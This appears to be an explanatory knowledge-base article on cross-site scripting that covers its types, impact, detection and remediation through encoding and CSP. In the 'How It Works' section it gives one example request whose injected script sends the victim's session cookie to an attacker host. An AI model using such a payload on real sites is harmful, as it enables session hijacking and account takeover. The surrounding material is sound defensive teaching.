Description
Cross-site scripting occurs when an application includes untrusted data in a web page without proper validation or escaping. The browser executes the injected script as if it originated from the legitimate site, inheriting its full origin privileges.
There are three primary types:
- Reflected XSS — the payload is echoed immediately in the response (search fields, error messages, URL parameters).
- Stored XSS — the payload is persisted in a database and served to every user who views the affected resource (comments, profile fields, chat messages).
- DOM-based XSS — the payload is written to the DOM by client-side JavaScript without passing through the server (dangerous sinks like
innerHTML,document.write,eval).
Stored XSS carries the highest risk — a single injection can affect thousands of users without any interaction beyond visiting the page.
How It Works
The simplest form is a reflected injection through a search input:
GET /search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
If the application renders the q parameter without encoding, the browser executes the script in the context of the vulnerable origin. The attacker's server now has the victim's session cookie.
For stored XSS, the payload is submitted once (e.g., in a profile bio or comment field) and fires for every user who loads the page containing it — including administrators, making privilege escalation trivial.
Impact
- Session hijacking — steal authentication cookies and impersonate the victim.
- Credential harvesting — overlay a fake login form on the legitimate page.
- Keylogging — capture every keystroke in the browser tab.
- Account takeover — chain with CSRF to change email, password, or MFA settings.
- Malware delivery — redirect users to drive-by download pages.
- Internal network access — use the victim's browser to pivot into internal services.
Detection
Manual testing is the only reliable way to identify the full scope of XSS in a modern application. Automated scanners miss DOM sinks, multi-step stored injections, and context-dependent payloads.
Key test points:
- Every parameter reflected in the response — URL query strings, POST body fields, HTTP headers that appear in output.
- Every user-controlled value that is persisted and later displayed — comments, names, descriptions, addresses, file upload names.
- Client-side sinks — search for
innerHTML,document.write,eval,setTimeout(string), andlocation.hrefassignments seeded fromlocation.searchorlocation.hash.
Remediation
Output encoding is the primary control. Encode user-supplied data for the context in which it is rendered:
- HTML body: HTML-entity encode
<,>,&,",'. - HTML attribute: attribute-encode the value and always quote attributes.
- JavaScript: JSON-encode or hex-encode before embedding in script blocks.
- URL: percent-encode user-supplied URL components.
Content Security Policy (CSP) is a defence-in-depth layer. A strict CSP (script-src 'nonce-{random}') prevents inline script execution even when encoding is missed.
Avoid dangerous APIs. Replace innerHTML with textContent. Avoid eval. Use framework-native templating instead of manual DOM manipulation.
